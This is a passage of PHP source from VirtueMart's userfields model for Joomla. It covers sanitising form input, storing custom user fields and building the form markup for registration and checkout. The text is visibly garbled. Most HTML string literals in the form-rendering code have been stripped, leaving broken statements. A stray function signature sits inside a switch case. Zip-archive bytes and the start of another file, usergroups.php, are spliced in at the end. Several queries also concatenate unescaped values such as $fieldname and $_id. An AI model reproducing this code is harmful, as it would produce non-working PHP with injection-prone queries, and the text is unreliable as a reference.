$oValuesArr = array(); $oValuesArr[0] = str_replace(array('mailto:','http://','https://'),'', $value); $oValuesArr[1] = str_replace(array('mailto:','http://','https://'),'', $post[$fieldName."Text"]); $value = implode("|*|",$oValuesArr); } else { if ($value = vmFilter::urlcheck($value) ) $value = str_replace(array('mailto:','http://','https://'),'', $value); } break; case 'email': case 'emailaddress': //vmdebug('emailaddress before filter',$value); $value = vmFilter::mail( $value ); //$value = str_replace('mailto:','', $value); //$value = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$value); //vmdebug('emailaddress after filter',$value); break; // case 'phone': // $value = vmFilter::phone( $value ); // break; case 'multiselect': case 'multicheckbox': case 'select': if (is_array($value)) $value = implode("|*|",$value); break; case 'age_verification': $value = JRequest::getInt('birthday_selector_year') .'-'.JRequest::getInt('birthday_selector_month') .'-'.JRequest::getInt('birthday_selector_day'); break; case 'textarea': $value = JRequest::getVar($fieldName, '', 'post', 'string' ,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'text' ); break; case 'editorta': $value = JRequest::getVar($fieldName, '', 'post', 'string' ,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'no_js_flash' ); break; default: // //*** code for htmlpurifier *** // //SEE http://htmlpurifier.org/ // // must only add all htmlpurifier in library/htmlpurifier/ // if (!$this->htmlpurifier) { // require(JPATH_VM_ADMINISTRATOR.DS.'library'.DS.'htmlpurifier'.DS.'HTMLPurifier.auto.php'); // $config = HTMLPurifier_Config::createDefault(); // $this->htmlpurifier = new HTMLPurifier($config); // } // $value = $this->htmlpurifier->purify($value); // vmdebug( "purified filter" , $value); //$config->set('URI.HostBlacklist', array('google.com'));// set eg .add google.com in black list if (strpos($fieldType,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); // vmdebug('params',$params); $dispatcher->trigger('plgVmPrepareUserfieldDataSave',array($fieldType, $fieldName, &$data, &$value, $params) ); return $value; } // no HTML TAGS but permit all alphabet $value = vmFilter::hl( $value,array('deny_attribute'=>'*')); $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$value);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $value = (string)preg_replace('#^\'#si','',$value);//replace ' at start break; } return $value; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. */ function getUserfield($id = 0,$name = 0) { if($id === 0){ $id = $this->_id; } if (empty($this->_data)) { $this->_data = $this->getTable('userfields'); if($name !==0){ $this->_data->load($id, $name); } $this->_data->load($id); } if(strpos($this->_data->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($this->_data->type,6); $type = 'userfield'; $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsUserfield',array($type,$plgName,$this->_data->userfield_jplugin_id,&$this->_data)); // vmdebug('pluginGet',$type,$plgName,$this->_id,$this->_data); } // Parse the parameters, if any else $this->_params->parseParam($this->_data->params); return $this->_data; } /** * Retrieve the value records for the current $id if available for the current type * * Updated by stAn to get userfieldvalues per specific id regardless on this->_id * * @return array List wil values, or an empty array if none exist */ function getUserfieldValues($id=null) { if (empty($id)) $id = $this->_id; $this->_data = $this->getTable('userfield_values'); if ($id > 0) { $query = 'SELECT * FROM `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . (int)$id . ' ORDER BY `ordering`'; $_userFieldValues = $this->_getList($query); return $_userFieldValues; } else { return array(); } } static function getCoreFields(){ return array( 'name','username', 'email', 'password', 'password2' , 'agreed','language'); } /** * Bind the post data to the userfields table and save it * * @return boolean True is the save was successful, false otherwise. */ function store(&$data){ $field = $this->getTable('userfields'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $isNew = ($data['virtuemart_userfield_id'] < 1) ? true : false; $coreFields = $this->getCoreFields(); if(in_array($data['name'],$coreFields)){ //vmError('Cant store/update core field. They belong to joomla'); //return false; } else { if ($isNew) { $reorderRequired = false; $_action = 'ADD'; } else { $field->load($data['virtuemart_userfield_id']); $_action = 'CHANGE'; if ($field->ordering == $data['ordering']) { $reorderRequired = false; } else { $reorderRequired = true; } } } //vmdebug ('SAVED userfields', $data); // Put the parameters, if any, in the correct format if (array_key_exists($data['type'], $this->reqParam)) { $this->_params->set($this->reqParam[$data['type']], $data[$this->reqParam[$data['type']]]); $data['params'] = $this->_params->paramString(); } // Store the fieldvalues, if any, in a correct array $fieldValues = $this->postData2FieldValues($data['vNames'], $data['vValues'], $data['virtuemart_userfield_id'] ); if(strpos($data['type'],'plugin')!==false){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $plgName = substr($data['type'],6); $q = 'SELECT `' . $ext_id . '` FROM `' . $tb . '` WHERE `element` = "'.$plgName.'"'; $this->_db->setQuery($q); $data['userfield_jplugin_id'] = $this->_db->loadResult(); JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnBeforeUserfieldSave',array( $plgName , &$data, &$field ) ); } if (!$field->bind($data)) { // Bind data vmError($field->getError()); return false; } if (!$field->check(count($fieldValues))) { // Perform data checks //vmError($field->getError()); return false; } // Get the fieldtype for the database $_fieldType = $field->formatFieldType($data); if(!in_array($data['name'],$coreFields) && $field->type != 'delimiter'){ // Alter the user_info table if (!$userinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn userinfo',$userinfo->getError()); return false; } // Alter the order_userinfo table if (!$orderinfo->_modifyColumn ($_action, $data['name'], $_fieldType)) { vmError('userfield store modifyColumn orderinfo',$orderinfo->getError()); return false; } } // if new item, order last in appropriate group if ($isNew) { $field->ordering = $field->getNextOrder(); } $_id = $field->store(); if ($_id === false) { // Write data to the DB vmError($field->getError()); return false; } if (!$this->storeFieldValues($fieldValues, $_id)) { return false; } if(strpos($data['type'],'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $plgName = substr($data['type'],6); $dispatcher->trigger('plgVmOnStoreInstallPluginTable',array( 'userfield' , $data ) ); } if ($reorderRequired) { $field->reorder(); } vmdebug('storing userfield',$_id); // Alter the user_info database to hold the values return $_id; } /** * Bind and write all value records * * @param array $_values * @param mixed $_id If a new record is being inserted, it contains the virtuemart_userfield_id, otherwise the value true * @return boolean */ private function storeFieldValues($_values, $_id) { // stAn - not true, because if previously we had more values, we have to delete them /* if (count($_values) == 0) { return true; //Nothing to do } */ $fieldvalue = $this->getTable('userfield_values'); // get original values $originalvalues = $this->getUserfieldValues($_id); // for each orignal value search if it was deleted or modified for ($i = 0; $i < count($originalvalues); $i++) { if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } else { // the field was deleted // stAn, next line doesn't work, because it tries to delete by the virtuemart_userfield_id instead of virtuemart_userfield_value_id // $msg = $fieldvalue->delete($originalvalues->virtuemart_userfield_value_id); $db = JFactory::getDBO(); $q = 'DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_value_id` = ' . (int)$originalvalues[$i]->virtuemart_userfield_value_id.' and `virtuemart_userfield_id` = '.(int)$_id; $db->setQuery($q); if ($db->query() === false) { vmError($db->getError()); return false; } } } // for each new value that was added for ($i = count($originalvalues)-1; $i < count($_values) ; $i++) { // do a check here as we might not be using pure numeric arrays if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } } return true; } /** * * @author Max Milbers */ public function getUserFieldsFor($layoutName, $type,$userId = -1){ //vmdebug('getUserFieldsFor '.$layoutName.' '. $type .' ' . $userId); $register = false; if(VmConfig::get('oncheckout_show_register',1) and $type=='BT'){ $user = JFactory::getUser(); if(!empty($user)){ if(empty($user->id)){ $register = true; } } else { $register = true; } } else { $register = false; } $skips = array(); //Maybe there is another method to define the skips $skips = array('address_type'); if((!$register or $type =='ST') and $layoutName !='edit'){ $skips[] = 'name'; $skips[] = 'username'; $skips[] = 'password'; $skips[] = 'password2'; $skips[] = 'user_is_vendor'; $skips[] = 'agreed'; // MattLG: Added this line because it leaves the empty fieldset with just the label when editing the ST addresses // A better solution might be to make this a setting rather than hard coding this whole block here $skips[] = 'delimiter_userinfo'; } //Here we get the fields if ($type == 'BT') { $userFields = $this->getUserFields( 'account' , array() // Default toggles , $skips// Skips ); } else { $userFields = $this->getUserFields( 'shipment' , array() // Default toggles , $skips ); } //Small ugly hack to make registering optional //do we still need that? YES ! notice by Max Milbers if($register && $type == 'BT' && VmConfig::get('oncheckout_show_register',1) ){ $corefields = $this->getCoreFields(); unset($corefields[2]); //the 2 is for the email field, it is necessary in almost anycase. foreach($userFields as $field){ if(in_array($field->name,$corefields)){ $field->required = 0; $field->value = ''; $field->default = ''; } } } return $userFields; } /** * Retrieve an array with userfield objects * * @param string $section The section the fields belong to (e.g. 'registration' or 'account') * @param array $_switches Array to toggle these options: * * published published fields only (default: true) * * required Required fields only (default: false) * * delimiters Exclude delimiters (default: false) * * captcha Exclude Captcha type (default: false) * * system System fields filter (no default; true: only system fields, false: exclude system fields) * @param array $_skip Array with fieldsnames to exclude. Default: array('username', 'password', 'password2', 'agreed'), * specify array() to skip nothing. * @see getUserFieldsFilled() * @author Oscar van Eijk * @return array */ public function getUserFields ($_sec = 'registration', $_switches=array(), $_skip = array('username', 'password', 'password2')) { // stAn, we can't really create cache per sql as we want to create named array as well $cache_hash = md5($_sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); if (isset(self::$_cache_ordered[$cache_hash])) return self::$_cache_ordered[$cache_hash]; $_q = 'SELECT * FROM `#__virtuemart_userfields` WHERE 1 = 1 '; if( $_sec != 'bank' && $_sec != '') { $_q .= 'AND `'.$_sec.'`=1 '; } elseif ($_sec == 'bank' ) { $_q .= "AND name LIKE '%bank%' "; } /* if (($_skipBank = array_search('bank', $_skip)) !== false ) { $_q .= "AND name NOT LIKE '%bank%' "; unset ($_skip[$_skipBank]); }*/ if(array_key_exists('published',$_switches)){ if ($_switches['published'] !== false ) { $_q .= 'AND published = 1 '; } } else { $_q .= 'AND published = 1 '; } if(array_key_exists('required',$_switches)){ if ($_switches['required'] === true ) { $_q .= "AND required = 1 "; } } if(array_key_exists('delimiters',$_switches)){ if ($_switches['delimiters'] === true ) { $_q .= "AND type != 'delimiter' "; } } if(array_key_exists('captcha',$_switches)){ if ($_switches['captcha'] === true ) { $_q .= "AND type != 'captcha' "; } } if(array_key_exists('sys',$_switches)){ if ($_switches['sys'] === true ) { $_q .= "AND sys = 1 "; } else { $_q .= "AND sys = 0 "; } } if (count($_skip) > 0) { $_q .= "AND FIND_IN_SET(name, '".implode(',', $_skip)."') = 0 "; } $_q .= ' ORDER BY ordering '; $_fields = $this->_getList($_q); // We need some extra fields that are not in the userfields table. They will be hidden on the details form if (!in_array('address_type', $_skip)) { $_address_type = new stdClass(); $_address_type->virtuemart_userfield_id = 0; $_address_type->name = 'address_type'; $_address_type->title = ''; $_address_type->description = '' ; $_address_type->type = 'hidden'; $_address_type->maxlength = 0; $_address_type->size = 0; $_address_type->required = 0; $_address_type->ordering = 0; $_address_type->cols = 0; $_address_type->rows = 0; $_address_type->value = ''; $_address_type->default = 'BT'; $_address_type->published = 1; $_address_type->registration = 1; $_address_type->shipment = 0; $_address_type->account = 1; $_address_type->readonly = 0; $_address_type->calculated = 0; // what is this??? $_address_type->sys = 0; $_address_type->virtuemart_vendor_id = 1; $_address_type->params = ''; $_fields[] = $_address_type; } // stAn: slow to run the first time: self::$_cache_ordered[$cache_hash] = $_fields; if (!isset(self::$_cache_named[$_sec])) self::$_cache_named[$_sec] = array(); foreach ($_fields as &$f) { self::$_cache_named[$_sec][$f->name] = $f; } return $_fields; } /** * Return a boolean whethe the userfield is enabled in context of $_sec * * @access public * @param $_field_name: name of the user field such as 'email' * @param $_sec BT or ST, or one of the types of the fields: account, shipment, registration * @author stAn * @return true or false * * Note: this function will return a false result for skipped fields such as agreed, user_is_vendor * * when used from shipment method, you can use * $userFieldsModel =VmModel::getModel('Userfields'); * $type = (($cart->ST == 0) ? 'BT' : 'ST'); * if ($userFieldsModel->fieldPublished('zip', $type)) .... */ public function fieldPublished($_field_name, $_sec='account') { if ($_sec == 'BT') $_sec = 'account'; else if ($_sec == 'ST') $_sec = 'shipment'; if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); $this->getUserFields($_sec, array(), array()); if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); return false; } /** * Return an array with userFields in several formats. * * @access public * @param $_selection An array, as returned by getuserFields(), with fields that should be returned. * @param $_userData Array with userdata holding the values for the fields * @param $_prefix string Optional prefix for the formtag name attribute * @author Oscar van Eijk * @return array List with all userfield data in the format: * array( * 'fields' => array( // All fields * => array( * 'name' => // Name of the field * 'value' => // Existing value for the current user, or the default * 'title' => // Title used for label and such * 'type' => // Field type as specified in the userfields table * 'hidden' => // True/False * 'required' => // True/False. If True, the formcode also has the class "required" for the Joomla formvalidator * 'formcode' => // Full HTML tag * ) * [...] * ) * 'functions' => array() // Optional javascript functions without ; * 'scripts' => array( // Array with scriptsources for use with JHTML::script(); * => * [...] * ) * 'links' => array( // Array with stylesheets for use with JHTML::stylesheet(); * => * [...] * ) * ) * @example This example illustrates the use of this function. For additional examples, see the Order view * and the User view in the administrator section. *
        	 *   // In the controller, make sure this model is loaded.
        	 *   // In view.html.php, make the following calls:
        	 *   $_usrDetails = getUserDetailsFromSomeModel(); // retrieve an user_info record, eg from the usermodel or ordermodel
        	 *   $_usrFieldList = $userFieldsModel->getUserFields(
        	 *                    'registration'
        	 *                  , array() // Default switches
        	 *                  , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips
        	 *    );
        	 *   $usrFieldValues = $userFieldsModel->getUserFieldsFilled(
        	 *                      $_usrFieldList
        	 *                     ,$_usrDetails
        	 *   );
        	 *   $this->assignRef('userfields', $userfields);
        	 *   // In the template, use code below to display the data. For an extended example using
        	 *   // delimiters, JavaScripts and StyleSheets, see the edit_shopper.php in the user view
        	 *   
        	 *     
        	 *       
        	 *         
        	 *       
        	 *     
        	 *      shipmentfields['fields'] as $_field ) {
        	 *          echo '  '."\n";
        	 *          echo '    '."\n";
        	 *          echo '    '."\n";
        	 *          echo '  '."\n";
        	 *        }
        	 *      ?>
        	 *    
        * *
        '."\n"; * echo ' '.$_field['title']."\n"; * echo ' '."\n"; * * echo ' '.$_field['value']."\n"; // Display only * Or: * echo ' '.$_field['formcode']."\n"; // Input form * * echo '
        *
        */ public function getUserFieldsFilled($_selection, $_userData = null, $_prefix = ''){ if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_return = array( 'fields' => array() ,'functions' => array() ,'scripts' => array() ,'links' => array() ); $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // vmdebug('my user data in getUserFieldsFilled',$_selection,$_userData); $_userData=(array)($_userData); if (is_array($_selection)) { foreach ($_selection as $_fld) { $_return['fields'][$_fld->name] = array( 'name' => $_prefix . $_fld->name ,'value' => (($_userData == null || !array_key_exists($_fld->name, $_userData)) ? $_fld->default : @html_entity_decode($_userData[$_fld->name],ENT_COMPAT,'UTF-8')) ,'title' => vmText::_($_fld->title) ,'type' => $_fld->type ,'required' => $_fld->required ,'hidden' => false ,'formcode' => '' ,'description' => vmText::_($_fld->description) ); $readonly = ''; if(!$admin){ if($_fld->readonly ){ $readonly = ' readonly="readonly" '; } } // vmdebug ('getUserFieldsFilled',$_fld->name); // if($_fld->name==='email') vmdebug('user data email getuserfieldbyuser',$_userData); // First, see if there are predefined fields by checking the name switch( $_fld->name ) { // case 'email': // $_return['fields'][$_fld->name]['formcode'] = $_userData->email; // break; case 'virtuemart_country_id': $attrib = array(); //For nice lists in the FE if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = ShopFunctions::renderCountryList($_return['fields'][$_fld->name]['value'], false, $attrib , $_prefix, $_fld->required); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_country_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_countries` WHERE virtuemart_country_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['country_name'])? $r['country_name']:'' ; $_return['fields'][$_fld->name]['country_2_code'] = !empty($r['country_2_code'])? $r['country_2_code']:'' ; $_return['fields'][$_fld->name]['country_3_code'] = !empty($r['country_3_code'])? $r['country_3_code']:'' ; } else { vmError('Model Userfields, country with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['country_2_code'] = '' ; $_return['fields'][$_fld->name]['country_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); //$_return['fields'][$_fld->name]['state_2_code'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); break; case 'virtuemart_state_id': if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $attrib = array(); if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = shopFunctions::renderStateList( $_return['fields'][$_fld->name]['value'], $_prefix, false, $_fld->required, $attrib ); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_state_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['state_name'])? $r['state_name']:'' ; $_return['fields'][$_fld->name]['state_2_code'] = !empty($r['state_2_code'])? $r['state_2_code']:'' ; $_return['fields'][$_fld->name]['state_3_code'] = !empty($r['state_3_code'])? $r['state_3_code']:'' ; } else { vmError('Model Userfields, state with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['state_2_code'] = '' ; $_return['fields'][$_fld->name]['state_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = shopFunctions::getStateByID($_return['fields'][$_fld->name]['value']); break; //case 'agreed': // $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ' />'; // break; case 'password': case 'password2': $_return['fields'][$_fld->name]['formcode'] = ''."\n"; break; case 'agreed': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; break; // It's not a predefined field, so handle it by it's fieldtype default: if(strpos($_fld->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnUserfieldDisplay',array($_prefix, $_fld,isset($_userData['virtuemart_user_id'])?$_userData['virtuemart_user_id']:0, &$_return) ); break; } switch( $_fld->type ) { case 'hidden': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; $_return['fields'][$_fld->name]['hidden'] = true; break; case 'date': case 'age_verification': //echo JHTML::_('behavior.calendar'); /* * TODO We must add the joomla.javascript here that contains the calendar, * since Joomla does not load it when there's no user logged in. * Gotta find out why... some security issue or a bug??? * Note by Oscar */ // if ($_userData === null) { // Not logged in // $_doc = JFactory::getDocument(); // $_doc->addScript( JURI::root(true).'/includes/js/joomla.javascript.js'); // } $currentYear= date('Y'); // $calendar = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name, $_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); // $_return['fields'][$_fld->name]['formcode'] = $calendar ; //if(empty($_return['fields'][$_fld->name]['value'])){ // $_return['fields'][$_fld->name]['value'] = "1912-01-01 00:00:00"; //} jDate($date='',$name="date",$id=null,$resetBt = true, $yearRange='') { // Year range MUST start 100 years ago, for birthday $_return['fields'][$_fld->name]['formcode'] = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name,$_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); break; case 'emailaddress': if( JFactory::getApplication()->isSite()) { if(empty($_return['fields'][$_fld->name]['value'])) { $_return['fields'][$_fld->name]['value'] = JFactory::getUser()->email; } } // vmdebug('emailaddress',$_fld); case 'text': case 'webaddress': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; break; case 'textarea': $_return['fields'][$_fld->name]['formcode'] = ''; break; case 'editorta': jimport( 'joomla.html.editor' ); $editor = JFactory::getEditor(); $_return['fields'][$_fld->name]['formcode'] = $editor->display($_prefix.$_fld->name, $_return['fields'][$_fld->name]['value'], '150', '100', $_fld->cols, $_fld->rows, array('pagebreak', 'readmore')); break; case 'checkbox': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; if($_return['fields'][$_fld->name]['value']) { $_return['fields'][$_fld->name]['value'] = JText::_($_prefix.$_fld->title); } break; // /*##mygruz20120223193710 { :*/ // case 'userfieldplugin': //why not just vmuserfieldsplugin ? // JPluginHelper::importPlugin('vmuserfield'); // $dispatcher = JDispatcher::getInstance(); // //Todo to adjust to new pattern, using & // $html = '' ; // $dispatcher->trigger('plgVmOnUserFieldDisplay',array($_return['fields'][$_fld->name], &$html) ); // $_return['fields'][$_fld->name]['formcode'] = $html; // break; // /*##mygruz20120223193710 } */ case 'multicheckbox': case 'multiselect': case 'select': case 'radio': $_qry = 'SELECT fieldtitle, fieldvalue ' . 'FROM #__virtuemart_userfield_values ' . 'WHERE virtuemart_userfield_id = ' . $_fld->virtuemart_userfield_id . ' ORDER BY ordering '; $_values = $this->_getList($_qry); // We need an extra lok here, especially for the Bank info; the values // must be translated. // Don't check on the field name though, since others might be added in the future :-( foreach ($_values as $_v) { $_v->fieldtitle = vmText::_($_v->fieldtitle); } $_attribs = array(); if ($_fld->readonly and !$admin) { $_attribs['readonly'] = 'readonly'; } if ($_fld->required) { $_attribs['class'] = 'required'; } if ($_fld->type == 'radio' or $_fld->type == 'select') { $_selected = $_return['fields'][$_fld->name]['value']; } else { $_attribs['size'] = $_fld->size; // Use for all but radioselects if (!is_array($_return['fields'][$_fld->name]['value'])){ $_selected = explode("|*|", $_return['fields'][$_fld->name]['value']); } else { $_selected = $_return['fields'][$_fld->name]['value']; } } // Nested switch... switch($_fld->type) { case 'multicheckbox': // todo: use those $_attribs['rows'] = $_fld->rows; $_attribs['cols'] = $_fld->cols; $formcode = ''; $field_values=""; $_idx = 0; $separator_form = '
        '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $is_selected='checked="checked"'; $field_values.= JText::_($_val->fieldtitle). $separator_title; } else { $is_selected=''; } $formcode .= ' '. $separator_form; $_idx++; } // remove last br $_return['fields'][$_fld->name]['formcode'] =substr($formcode ,0,-strlen($separator_form)); $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'multiselect': $_attribs['multiple'] = 'multiple'; $_attribs['class'] = 'vm-chzn-select'; $field_values=""; $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name.'[]', $_attribs, 'fieldvalue', 'fieldtitle', $_selected); $separator_form = '
        '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $field_values.= JText::_($_val->fieldtitle). $separator_title; } } $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'select': $_attribs['class'] = 'vm-chzn-select'; if ($_fld->size) { $_attribs['style']= "width: ".$_fld->size."px"; } if(!$_fld->required){ $obj = new stdClass(); $obj->fieldtitle = vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'); $obj->fieldvalue = ''; array_unshift($_values,$obj); } $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( !empty($_selected) and $_val->fieldvalue==$_selected ) { // vmdebug('getUserFieldsFilled set empty select to value',$_selected,$_fld,$_return['fields'][$_fld->name]); $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; case 'radio': $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.radiolist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( $_val->fieldvalue==$_selected) { $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; } break; } break; } } } else { vmdebug('getUserFieldsFilled $_selection is not an array ',$_selection); // $_return['fields'][$_fld->name]['formcode'] = ''; } return $_return; } /** * Checks if a single field is required, used in the cart * * @author Max Milbers * @param string $fieldname */ function getIfRequired($fieldname) { $q = 'SELECT `required` FROM #__virtuemart_userfields WHERE `name` = "'.$fieldname.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ vmError('userfields getIfRequired '.$error,'Programmer used an unknown userfield '.$fieldname); } return $result; } /** * Translate arrays form userfield_values to the format expected by the table class. * * stAn Note -> when a field of [0] is deleted (or others), you cannot use count to itenerate the array * * @param array $titles List of titles from the formdata * @param array $values List of values from the formdata * @param int $virtuemart_userfield_id ID of the userfield to relate * @return array Data to bind to the userfield_values table */ private function postData2FieldValues($titles, $values, $virtuemart_userfield_id ){ $_values = array(); if (is_array($titles) && is_array($values)) { // updated by stAn: foreach ($values as $i=>$val) { $_values[$i] = array( 'virtuemart_userfield_id' => $virtuemart_userfield_id ,'fieldtitle' => $titles[$i] ,'fieldvalue' => $values[$i] ,'ordering' => $i ); } /* for ($i=0; $i < count($titles) ;$i++) { if (empty($titles[$i])) { continue; // Ignore empty fields } } */ } return $_values; } /** * Get the column name of a given fieldID * @param $_id integer Field ID * @return string Fieldname */ function getNameByID($_id) { $_sql = 'SELECT `name` FROM `#__virtuemart_userfields` WHERE virtuemart_userfield_id = "'.$_id.'" '; $_v = $this->_getList($_sql); return ($_v[0]->name); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($fieldIds){ $field = $this->getTable('userfields'); $value = $this->getTable('userfield_values'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $ok = true; foreach($fieldIds as $fieldId) { $_fieldName = $this->getNameByID($fieldId); $field->load($fieldId); if ($field->type != 'delimiter') { // Get the fieldtype for the database $_fieldType = $field->formatFieldType(); // Alter the user_info table if ($userinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($userinfo->getError()); $ok = false; } // Alter the order_userinfo table if ($orderinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($orderinfo->getError()); $ok = false; } } if (!$field->delete($fieldId)) { vmError($field->getError()); $ok = false; } if (!$value->delete($fieldId)) { vmError($field->getError()); $ok = false; } } return $ok; } /** * Get the userfields for the BE list * * @author Max Milbers * @return NULL */ function getUserfieldsList(){ if (!$this->_data) { $whereString = $this->_getFilter(); $ordering = $this->_getOrdering(); $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_userfields`',$whereString,'',$ordering); } return $this->_data; } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { $db = JFactory::getDBO(); if ($search = JRequest::getWord('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); return (' WHERE `name` LIKE ' .$search); } return (''); } /** * Build the query to list all Userfields * *@deprecated * @return string SQL query statement */ function _getListQuery () { $query = 'SELECT * FROM `#__virtuemart_userfields` '; $query .= $this->_getFilter(); $query .= $this->_getOrdering(); return ($query); } //*/ } // No closing tag PK@y>\  /components/com_virtuemart/models/usergroups.phpnuW+AsetMainTable('usergroups'); } function getUsergroup() { $db = JFactory::getDBO(); if (empty($this->_data)) { $this->_data = $this->getTable('usergroups'); $this->_data->load((int)$this->_id); } return $this->_data; } function getUsergroups($onlyPublished=false, $noLimit=false) { $where = array(); if ($onlyPublished) { 